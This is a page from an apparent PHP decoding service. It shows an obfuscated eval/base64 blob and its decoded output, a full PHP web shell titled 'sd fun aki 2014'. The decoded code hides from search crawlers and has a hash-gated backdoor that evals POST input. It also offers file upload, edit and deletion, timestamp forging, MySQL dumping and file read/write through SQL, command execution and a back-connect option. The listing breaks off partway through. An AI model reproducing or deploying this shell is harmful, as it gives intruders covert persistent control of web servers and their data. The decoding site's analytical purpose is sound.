Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode(' FJ3HrqPaFkX/5bVKokHG0CTnnOk8kaPJ+euvT6dUUlm2Ye815xg..

Decoded Output download

<?php error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $b = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match('/' . implode('|', $b) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$c = explode(' ', microtime());
$d = $c[1] + $c[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$e = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo", $e)) ? 1 : 0);
@set_time_limit(0);
foreach (array('_GET', '_POST') as $g) {
    foreach ($$g as $h => $l) {
        if ($h{0} != '_') {
            if (IS_GPC) {
                $l = s_array($l);
            }
            $$h = $l;
        }
    }
}
$m = array();
$m['check'] = true;
$m['pass'] = '60dc2b188abbc0be6cec436f04094417';
$m['salt'] = 'sadklhnwoi podasdjopm asjdopajsn oias 485s7ad87 asdajsoid asdjoiwudoia  as587d8a7sd87a8sd78w asdljaio mndoiasjdpoij';
$m['cookiepre'] = '';
$m['cookiedomain'] = '';
$m['cookiepath'] = '/';
$m['cookielife'] = 8640000;
$n = array('utf8', 'armscii8', 'ascii', 'big5', 'binary', 'cp1250', 'cp1251', 'cp1256', 'cp1257', 'cp850', 'cp852', 'cp866', 'cp932', 'dec8', 'eucjpms', 'euckr', 'gb2312', 'gbk', 'geostd8', 'greek', 'hebrew', 'hp8', 'keybcs2', 'koi8r', 'koi8u', 'latin1', 'latin2', 'latin5', 'latin7', 'macce', 'macroman', 'sjis', 'swe7', 'tis620', 'ucs2', 'ujis');
$o = $_POST["charset"];
if ($o == 'utf8') {
    header("content-Type: text/html; charset=utf-8");
} elseif ($o == 'big5') {
    header("content-Type: text/html; charset=big5");
} elseif ($o == 'gbk') {
    header("content-Type: text/html; charset=gbk");
} elseif ($o == 'latin1') {
    header("content-Type: text/html; charset=iso-8859-2");
} elseif ($o == 'euckr') {
    header("content-Type: text/html; charset=euc-kr");
} elseif ($o == 'eucjpms') {
    header("content-Type: text/html; charset=euc-jp");
}
$p = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$p = rtrim($p, "/");
$q = time();
if (md5($_SERVER["QUERY_STRING"] . $m['salt']) == $m['pass']) {
    eval($_POST['xx']);
    exit;
}
$r = $_POST["password"];
$t = $_POST["action"];
$u = $_POST["doing"];
if ($t == "logout") {
    scookie('hgmshellpass', '', -86400 * 365);
    p('<meta http-equiv="refresh" content="1;URL=' . $p . '">');
    p('<a style="font:12px Verdana" href="' . $p . '">Success</a>');
    exit;
}
if ($m['check']) {
    if ($u == 'login') {
        if ($m['pass'] == md5($r . $m['salt'])) {
            scookie('hgmshellpass', md5($r . $m['salt']));
            p('<meta http-equiv="refresh" content="1;URL=' . $p . '">');
            p('<a style="font:12px Verdana" href="' . $p . '">Success</a>');
            exit;
        }
    }
    if ($_COOKIE['hgmshellpass']) {
        if ($_COOKIE['hgmshellpass'] != $m['pass']) {
            loginpage();
        }
    } else {
        loginpage();
    }
}
$w = '';
if ($t == 'phpinfo') {
    if (IS_PHPINFO) {
        phpinfo();
        exit;
    } else {
        $w = 'phpinfo() function has non-permissible';
    }
}
$x = $_POST["dir"];
$y = $_POST["thefile"];
$z = $_POST["saveasfile"];
$aa = $_POST["table"];
$bb = $_POST["dbhost"];
$cc = $_POST["dbuser"];
$dd = $_POST["dbpass"];
$ee = $_POST["dbname"];
$ff = $_POST["dbport"];
$gg = $_POST["connect"];
$z = $_POST["saveasfile"];
$hh = $_POST["mysqldlfile"];
$ii = $_POST["newdirname"];
$jj = $_POST["doupfile"];
$kk = $_POST["uploaddir"];
$ll = $_POST["editfilename"];
$mm = $_POST["filecontent"];
$nn = $_POST["iskeepmtime"];
$oo = $_POST["fmtime"];
$pp = $_POST["pfile"];
$qq = $_POST["newperm"];
$rr = $_POST["oldname"];
$ss = $_POST["newfilename"];
$tt = $_POST["sname"];
$uu = $_POST["tofile"];
$vv = $_POST["curfile"];
$ww = $_POST["tarfile"];
$xx = $_POST["year"];
$yy = $_POST["month"];
$zz = $_POST["day"];
$aaa = $_POST["hour"];
$bbb = $_POST["minute"];
$ccc = $_POST["second"];
$ddd = $_POST["dl"];
$eee = $_POST["view_writable"];
$fff = $_POST["savepath"];
$ggg = $_POST["upname"];
$hhh = $_POST["path"];
$iii = $_POST["insert"];
$jjj = $_POST["insertsql"];
$kkk = $_POST["update"];
$lll = $_POST["base64"];
$mmm = $_POST["tablename"];
$nnn = $_POST["page"];
$ooo = $_POST["sql_query"];
$ppp = $_POST["yourip"];
$qqq = $_POST["yourport"];
$rrr = $_POST["start"];
$sss = $_POST["use"];
$ttt = $_POST["phpcode"];
$uuu = $_POST["opfile"];
$vvv = $_POST["parameter"];
$www = $_POST["program"];
$xxx = $_POST["command"];
$yyy = $_POST["execfunc"];
$zzz = $_POST["phpvarname"];
if ($u == 'downfile' && $y) {
    if ([email protected]_exists($y)) {
        $w = 'The file you want Downloadable was nonexistent';
    } else {
        $aaaa = pathinfo($y);
        header('Content-type: application/x-' . $aaaa['extension']);
        header('Content-Disposition: attachment; filename=' . $aaaa['basename']);
        header('Content-Length: ' . filesize($y));
        @readfile($y);
        exit;
    }
}
if ($u == 'backupmysql' && !$z) {
    mydbconn($bb, $cc, $dd, $ee, $o, $ff);
    $aa = array_flip($aa);
    $bbbb = q("SHOW tables");
    if (!$bbbb) p('<h2>' . mysql_error() . '</h2>');
    $cccc = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename=' . $cccc);
    $dddd = '';
    while ($eeee = mysql_fetch_array($bbbb)) {
        if (isset($aa[$eeee[0]])) {
            $dddd.= sqldumptable($eeee[0]);
        }
    }
    mysql_close();
    exit;
}
if ($u == 'mysqldown') {
    if (!$ee) {
        $w = 'Please input dbname';
    } else {
        mydbconn($bb, $cc, $dd, $ee, $o, $ff);
        if (!file_exists($hh)) {
            $w = 'The file you want Downloadable was nonexistent';
        } else {
            $bbbb = q("select load_file('$hh');");
            if (!$bbbb) {
                q("DROP TABLE IF EXISTS tmp_angel;");
                q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
                q("LOAD DATA LOCAL INFILE '" . addslashes($hh) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$q}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$q}_eof__';");
                $bbbb = q("select content from tmp_angel");
                q("DROP TABLE tmp_angel");
            }
            $ffff = @mysql_fetch_array($bbbb);
            if (!$ffff) {
                $w = 'Load file failed ' . mysql_error();
            } else {
                $aaaa = pathinfo($hh);
                header('Content-type: application/x-' . $aaaa['extension']);
                header('Content-Disposition: attachment; filename=' . $aaaa['basename']);
                header("Accept-Length: " . strlen($ffff[0]));
                echo $ffff[0];
                exit;
            }
        }
    }
} ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title>sd fun aki 2014</title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><a href="https://www.google.com/?gws_rd=ssl#newwindow=1&q=sd+fun+aki" target="_blank"> sd fun aki 2014</a></span><?php echo $_SERVER['HTTP_HOST']; ?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']); ?>)</td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode'); ?></span>
			<a href="javascript:goaction('logout');">Logout</a> | 
			<a href="javascript:goaction('file');">File Manager</a> | 
			<a href="javascript:goaction('mysqladmin');">MYSQL Manager</a> | 
			<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | 
			<a href="javascript:goaction('shell');">Execute Command</a> | 
			<a href="javascript:goaction('phpenv');">PHP Variable</a> | 
			<a href="javascript:goaction('eval');">Eval PHP Code</a>
			<?php if (!IS_WIN) { ?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
} ?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name' => 'goaction'));
makehide('action');
formfoot();
$w && m($w);
if (!$x) {
    if ($_SERVER["DOCUMENT_ROOT"]) {
        $x = $_SERVER["DOCUMENT_ROOT"];
    } else {
        $x = '.';
    }
}
$gggg = getPath(SA_ROOT, $x);
if (substr($x, -1) != '/') {
    $x = $x . '/';
}
$hhhh = ue($x);
if (!$t || $t == 'file') {
    $iiii = @is_writable($gggg) ? 'Writable' : 'Non-writable';
    if ($u == 'deldir' && $y) {
        if (!file_exists($y)) {
            m($y . ' directory does not exist');
        } else {
            m('Directory delete ' . (deltree($y) ? basename($y) . ' success' : 'failed'));
        }
    } elseif ($ii) {
        $jjjj = $gggg . $ii;
        if (file_exists($jjjj)) {
            m('Directory has already existed');
        } else {
            m('Directory created ' . (@mkdir($jjjj, 0777) ? 'success' : 'failed'));
            @chmod($jjjj, 0777);
        }
    } elseif ($jj) {
        m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $kk . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    } elseif ($ll && $mm) {
        $oo = @filemtime($ll);
        $kkkk = @fopen($ll, 'w');
        $llll = 'Save file ' . (@fwrite($kkkk, $mm) ? 'success' : 'failed') . '<br/>';
        @fclose($kkkk);
        if ($nn == true) {
            $llll.= 'Modify file the last modified ' . (@touch($ll, $oo, $oo) ? 'success' : 'failed');
        }
        m($llll);
    } elseif ($pp && $qq) {
        if (!file_exists($pp)) {
            m('The original file does not exist');
        } else {
            $qq = base_convert($qq, 8, 10);
            m('Modify file attributes ' . (@chmod($pp, $qq) ? 'success' : 'failed'));
        }
    } elseif ($rr && $ss) {
        $mmmm = $gggg . $ss;
        if (file_exists($mmmm) || !file_exists($rr)) {
            m($mmmm . ' has already existed or original file does not exist');
        } else {
            m(basename($rr) . ' renamed ' . basename($mmmm) . (@rename($rr, $mmmm) ? ' success' : 'failed'));
        }
    } elseif ($tt && $uu) {
        if (file_exists($uu) || !file_exists($tt)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            m(basename($uu) . ' copied ' . (@copy($tt, $uu) ? basename($uu) . ' success' : 'failed'));
        }
    } elseif ($vv && $ww) {
        if ([email protected]_exists($vv) || [email protected]_exists($ww)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            $nnnn = @filemtime($ww);
            m('Modify file the last modified ' . (@touch($vv, $nnnn, $nnnn) ? 'success' : 'failed'));
        }
    } elseif ($vv && $xx && $yy && $zz && $aaa && $bbb && $ccc) {
        if ([email protected]_exists($vv)) {
            m(basename($vv) . ' does not exist');
        } else {
            $nnnn = strtotime("$xx-$yy-$zz $aaa:$bbb:$ccc");
            m('Modify file the last modified ' . (@touch($vv, $nnnn, $nnnn) ? 'success' : 'failed'));
        }
    } elseif ($u == 'downrar') {
        if ($ddd) {
            $oooo = '';
            foreach ($ddd as $pppp => $qqqq) {
                $oooo.= $pppp . ',';
            }
            $oooo = substr($oooo, 0, strlen($oooo) - 1);
            $ddd = explode(',', $oooo);
            if (count($ddd) == 1 && is_dir($ddd[0])) {
                $rrrr = New PHPZip1;
                $rrrr->ZipDir($ddd[0], 'package', 1);
            } else {
                $rrrr = New PHPZip1;
                $rrrr->ZipFile($ddd, 'package', 1);
            }
            exit;
        } else {
            m('Please select file(s)');
        }
    } elseif ($u == 'delfiles') {
        if ($ddd) {
            $oooo = '';
            $ssss = $tttt = 0;
            foreach ($ddd as $pppp => $qqqq) {
                @chmod($pppp, 0666);
                if (is_dir($pppp)) {
                    if (deltree($pppp)) {
                        $ssss++;
                    } else {
                        $tttt++;
                    }
                } else {
                    if (@unlink($pppp)) {
                        $ssss++;
                    } else {
                        $tttt++;
                    }
                }
            }
            m('Deleted file have finished,choose ' . count($ddd) . ' success ' . $ssss . ' fail ' . $tttt);
        } else {
            m('Please select file(s)');
        }
    }
    formhead(array('name' => 'createdir'));
    makehide('newdirname');
    makehide('dir', $gggg);
    formfoot();
    formhead(array('name' => 'fileperm'));
    makehide('newperm');
    makehide('pfile');
    makehide('dir', $gggg);
    formfoot();
    formhead(array('name' => 'copyfile'));
    makehide('sname');
    makehide('tofile');
    makehide('dir', $gggg);
    formfoot();
    formhead(array('name' => 'rename'));
    makehide('oldname');
    makehide('newfilename');
    makehide('dir', $gggg);
    formfoot();
    formhead(array('name' => 'fileopform', 'target' => '_blank'));
    makehide('action');
    makehide('opfile');
    makehide('dir');
    formfoot();
    formhead(array('name' => 'getsize'));
    makehide('getdir');
    makehide('dir');
    formfoot();
    $uuuu = @disk_free_space($gggg);
    !$uuuu && $uuuu = 0;
    $vvvv = @disk_total_space($gggg);
    !$vvvv && $vvvv = 0;
    $wwww = $vvvv - $uuuu;
    $xxxx = @round(100 / ($vvvv / $uuuu), 2);
    p('<h2>File Manager - Current disk free ' . sizecount($uuuu) . ' of ' . sizecount($vvvv) . ' (' . $xxxx . '%)</h2>'); ?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="<?php echo $p; ?>" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $iiii; ?>, <?php echo getChmod($gggg); ?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $gggg; ?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=view_writable;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
function getsize(getdir,dir){
	$('getsize').getdir.value=getdir;
	$('getsize').dir.value=dir;
	$('getsize').submit();
}
</script>
  <?php
    $yyyy = $_POST['findstr'];
    $zzzz = $_POST['re'];
    $aaaaa = strtolower($_POST['writabledb']);
    tbhead();
    p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
    p('<form action="' . $p . '" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $x . '" type="hidden" /><input name="dir" value="' . $x . '" type="hidden" /></div></form>');
    p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
    p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
    p(' | <a href="javascript:godir(\'' . $gggg . '\');">View All</a>');
    p(' | View Writable ( <a href="javascript:godir(\'' . $gggg . '\',\'dir\');">Directory</a>');
    p(' | <a href="javascript:godir(\'' . $gggg . '\',\'file\');">File</a> )');
    p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $gggg . '\');">Create File</a>');
    if (IS_WIN && IS_COM) {
        $bbbbb = new COM('scripting.filesystemobject');
        if ($bbbbb && is_object($bbbbb) && is_array($bbbbb->Drives)) {
            $ccccc = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
            foreach ($bbbbb->Drives as $ddddd) {
                if ($ddddd->DriveType == 2) {
                    p(' | <a href="javascript:godir(\'' . $ddddd->Path . '/\');" title="Size:' . sizecount($ddddd->TotalSize) . '&#13;Free:' . sizecount($ddddd->FreeSpace) . '&#13;Type:' . $ccccc[$ddddd->DriveType] . '">' . $ccccc[$ddddd->DriveType] . '(' . $ddddd->Path . ')</a>');
                } else {
                    p(' | <a href="javascript:godir(\'' . $ddddd->Path . '/\');" title="Type:' . $ccccc[$ddddd->DriveType] . '">' . $ccccc[$ddddd->DriveType] . '(' . $ddddd->Path . ')</a>');
                }
            }
        }
    }
    p('<br /><form action="' . $p . '" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="' . $yyyy . '" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="' . strtolower(isset($_POST['writabledb']) ? $_POST['writabledb'] : 'php,cgi,pl,asp,inc,js,html,htm,jsp') . '" type="text" /> <input name="dir" value="' . $x . '" type="hidden" /> <input name="re" value="1" type="checkbox" ' . ($zzzz ? 'checked' : '') . ' /> Regular expressions</form></td></tr>');
    p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="12%">Create Time</td><td width="12%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    $eeeee = array();
    $fffff = array();
    if ($eee == 'dir') {
        $eeeee = GetWDirList($gggg);
        $fffff = array();
    } elseif ($eee == 'file') {
        $eeeee = array();
        $fffff = GetWFileList($gggg);
    } elseif ($yyyy) {
        $eeeee = array();
        $fffff = GetSFileList($gggg, $yyyy, $zzzz);
    } else {
        $ggggg = @opendir($x);
        while ($hhhhh = @readdir($ggggg)) {
            $pppp = $gggg . $hhhhh;
            if (@is_dir($pppp)) {
                $iiiii['filename'] = $hhhhh;
                $iiiii['mtime'] = @date('Y-m-d H:i:s', filemtime($pppp));
                $iiiii['ctime'] = @date('Y-m-d H:i:s', filectime($pppp));
                $iiiii['dirchmod'] = getChmod($pppp);
                $iiiii['dirperm'] = getPerms($pppp);
                $iiiii['fileowner'] = getUser($pppp);
                $iiiii['dirlink'] = $gggg;
                $iiiii['server_link'] = $pppp;
                $iiiii['client_link'] = ue($pppp);
                $eeeee[] = $iiiii;
            } else {
                $jjjjj['filename'] = $hhhhh;
                $jjjjj['size'] = sizecount(@filesize($pppp));
                $jjjjj['mtime'] = @date('Y-m-d H:i:s', filemtime($pppp));
                $jjjjj['ctime'] = @date('Y-m-d H:i:s', filectime($pppp));
                $jjjjj['filechmod'] = getChmod($pppp);
                $jjjjj['fileperm'] = getPerms($pppp);
                $jjjjj['fileowner'] = getUser($pppp);
                $jjjjj['dirlink'] = $gggg;
                $jjjjj['server_link'] = $pppp;
                $jjjjj['client_link'] = ue($pppp);
                $fffff[] = $jjjjj;
            }
        }
        unset($iiiii);
        unset($jjjjj);
        @closedir($ggggg);
    }
    @sort($eeeee);
    @sort($fffff);
    $kkkkk = '0';
    p('<form id="filelist" name="filelist" action="' . $p . '" method="post">');
    foreach ($eeeee as $lllll => $iiiii) {
        if ($iiiii['filename'] != '..' && $iiiii['filename'] != '.') {
            if ($mmmmm && $mmmmm == $iiiii['server_link']) {
                $nnnnn = dirsize($iiiii['server_link']);
                $nnnnn = is_numeric($nnnnn) ? sizecount($nnnnn) : 'Unknown';
            } else {
                $nnnnn = '<a href="javascript:getsize(\'' . $iiiii['server_link'] . '\',\'' . $x . '\');">Stat</a>';
            }
            $ooooo = bg();
            p('<tr class="' . $ooooo . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $ooooo . '\';">');
            p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $iiiii['server_link'] . ']"><font face="wingdings" size="3">0</font></td>');
            p('<td><a href="javascript:godir(\'' . $iiiii['server_link'] . '\');">' . $iiiii['filename'] . '</a></td>');
            p('<td nowrap>' . $iiiii['ctime'] . '</td>');
            p('<td nowrap>' . $iiiii['mtime'] . '</td>');
            p('<td nowrap>' . $nnnnn . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\'' . $iiiii['server_link'] . '\');">' . $iiiii['dirchmod'] . '</a> / ');
            p('<a href="javascript:fileperm(\'' . $iiiii['server_link'] . '\');">' . $iiiii['dirperm'] . '</a>' . $iiiii['fileowner'] . '</td>');
            p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $iiiii['server_link'] . '\',\'Are you sure will delete <' . $iiiii['filename'] . '>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $iiiii['server_link'] . '\');">Rename</a>');
            p('<a href="javascript:opfile(\'newtime\',\'' . $iiiii['server_link'] . '\',\'' . $iiiii['dirlink'] . '\');">Time</a></td>');
            p('</tr>');
            $kkkkk++;
        } else {
            if ($iiiii['filename'] == '..') {
                p('<tr class=' . bg() . '>');
                p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="6"><a href="javascript:godir(\'' . getUpPath($gggg) . '\');">Parent Directory</a></td>');
                p('</tr>');
            }
        }
    }
    p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="7" height="5"></td></tr>');
    makehide('action', 'file');
    makehide('thefile');
    makehide('doing');
    makehide('dir', $gggg);
    $ppppp = '0';
    foreach ($fffff as $lllll => $jjjjj) {
        if ($jjjjj['filename'] != '..' && $jjjjj['filename'] != '.') {
            $qqqqq = str_replace($_SERVER["DOCUMENT_ROOT"], '', $jjjjj['server_link']);
            $ooooo = bg();
            p('<tr class="' . $ooooo . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $ooooo . '\';">');
            p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $jjjjj['server_link'] . ']"></td>');
            p('<td><a href="' . $qqqqq . '" target="_blank">' . $jjjjj['filename'] . '</a></td>');
            p('<td nowrap>' . $jjjjj['ctime'] . '</td>');
            p('<td nowrap>' . $jjjjj['mtime'] . '</td>');
            p('<td nowrap>' . $jjjjj['size'] . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\'' . $jjjjj['server_link'] . '\');">' . $jjjjj['filechmod'] . '</a> / ');
            p('<a href="javascript:fileperm(\'' . $jjjjj['server_link'] . '\');">' . $jjjjj['fileperm'] . '</a>' . $jjjjj['fileowner'] . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:dofile(\'downfile\',\'' . $jjjjj['server_link'] . '\');">Down</a> | ');
            p('<a href="javascript:copyfile(\'' . $jjjjj['server_link'] . '\');">Copy</a> | ');
            p('<a href="javascript:opfile(\'editfile\',\'' . $jjjjj['server_link'] . '\',\'' . $jjjjj['dirlink'] . '\');">Edit</a> | ');
            p('<a href="javascript:rename(\'' . $jjjjj['server_link'] . '\');">Rename</a> | ');
            p('<a href="javascript:opfile(\'newtime\',\'' . $jjjjj['server_link'] . '\',\'' . $jjjjj['dirlink'] . '\');">Time</a>');
            p('</td></tr>');
            $ppppp++;
        }
    }
    p('<tr class="' . bg() . '"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="5" align="right">' . $kkkkk . ' directories / ' . $ppppp . ' files</td></tr>');
    p('</form></table>');
} elseif ($t == 'sqlfile') {
    if ($u == "mysqlupload") {
        $hhhhh = $_FILES['uploadfile'];
        $cccc = $hhhhh['tmp_name'];
        if (file_exists($fff)) {
            m('The goal file has already existed');
        } else {
            if (!$cccc) {
                m('Please choose a file');
            } else {
                $kkkk = @fopen($cccc, 'r');
                $rrrrr = @fread($kkkk, filesize($cccc));
                @fclose($kkkk);
                $rrrrr = bin2hex($rrrrr);
                if (!$ggg) $ggg = $hhhhh['name'];
                mydbconn($bb, $cc, $dd, $ee, $o, $ff);
                $bbbb = q("SELECT 0x{$rrrrr} FROM mysql.user INTO DUMPFILE '$fff';");
                m($bbbb ? 'Upload success' : 'Upload has failed: ' . mysql_error());
            }
        }
    } ?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
</script>
<?php
    !$bb && $bb = 'localhost';
    !$cc && $cc = 'root';
    !$ff && $ff = '3306';
    formhead(array('title' => 'MYSQL Information', 'name' => 'dbinfo'));
    makehide('action', 'sqlfile');
    p('<p>');
    p('DBHost:');
    makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $bb));
    p(':');
    makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $ff));
    p('DBUser:');
    makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $cc));
    p('DBPass:');
    makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dd));
    p('DBName:');
    makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $ee));
    p('DBCharset:');
    makeselect(array('name' => 'charset', 'option' => $n, 'selected' => $o, 'nokey' => 1));
    p('</p>');
    formfoot();
    p('<form action="' . $p . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    p('<h2>Upload file</h2>');
    p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    p('<h2>Download file</h2>');
    p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    makehide('dbhost');
    makehide('dbport');
    makehide('dbuser');
    makehide('dbpass');
    makehide('dbname');
    makehide('charset');
    makehide('doing');
    makehide('action', 'sqlfile');
    p('</form>');
} elseif ($t == 'mysqladmin') {
    !$bb && $bb = 'localhost';
    !$cc && $cc = 'root';
    !$ff && $ff = '3306';
    $sssss = '<input type="hidden" id="connect" name="connect" value="1" />';
    if (isset($bb)) {
        $sssss.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$bb\" />\n";
    }
    if (isset($cc)) {
        $sssss.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$cc\" />\n";
    }
    if (isset($dd)) {
        $sssss.= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dd\" />\n";
    }
    if (isset($ff)) {
        $sssss.= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$ff\" />\n";
    }
    if (isset($ee)) {
        $sssss.= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$ee\" />\n";
    }
    if (isset($o)) {
        $sssss.= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$o\" />\n";
    }
    if ($u == 'backupmysql' && $z) {
